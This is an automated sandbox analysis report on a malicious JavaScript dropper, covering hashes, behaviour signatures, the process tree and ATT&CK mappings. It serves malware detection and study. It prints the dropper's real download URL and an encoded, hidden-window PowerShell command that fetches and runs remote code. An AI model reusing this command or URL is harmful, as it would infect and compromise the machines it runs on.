9aaf88d9cc9179eae2f83900b78f6ab2c88e257f10c8422d9266f00faafd5456

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
07/01/2024, 19:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a74db2d9f7ce6216b874bc5a33e52440.js
Size 102KB
Sample240107-yc3llsdff2
SHA256 9aaf88d9cc9179eae2f83900b78f6ab2c88e257f10c8422d9266f00faafd5456
MD5 a74db2d9f7ce6216b874bc5a33e52440
SHA1 bb0c214724552fbfc6e27f0190b0fb1e431cf2ce
SHA512 3544d591aaad71646ebdef216d7daee321be94b4a9337cfc71323d54d8f5458e34ce4d6edf4fcdf56ff51bbd62a1a237067a95f61f149a530186faf071bd0236
SSDEEP 3072:CN5X8Q60VV9Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzI3:wOQRVV9Ry9RuXqW4SzUHmLKeMMU7GwW2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2812	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2812	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2812	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 1340	1636	wscript.exe	28
PID 1636 wrote to memory of 1340	1636	wscript.exe	28
PID 1636 wrote to memory of 1340	1636	wscript.exe	28
PID 1340 wrote to memory of 2812	1340	cmd.exe	30
PID 1340 wrote to memory of 2812	1340	cmd.exe	30
PID 1340 wrote to memory of 2812	1340	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a74db2d9f7ce6216b874bc5a33e52440.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2812-5-0x000000001B410000-0x000000001B6F2000-memory.dmp

Download

memory/2812-7-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Download

memory/2812-6-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Download

memory/2812-8-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/2812-10-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/2812-11-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Download

memory/2812-12-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/2812-9-0x0000000002740000-0x00000000027C0000-memory.dmp

Download

memory/2812-13-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Download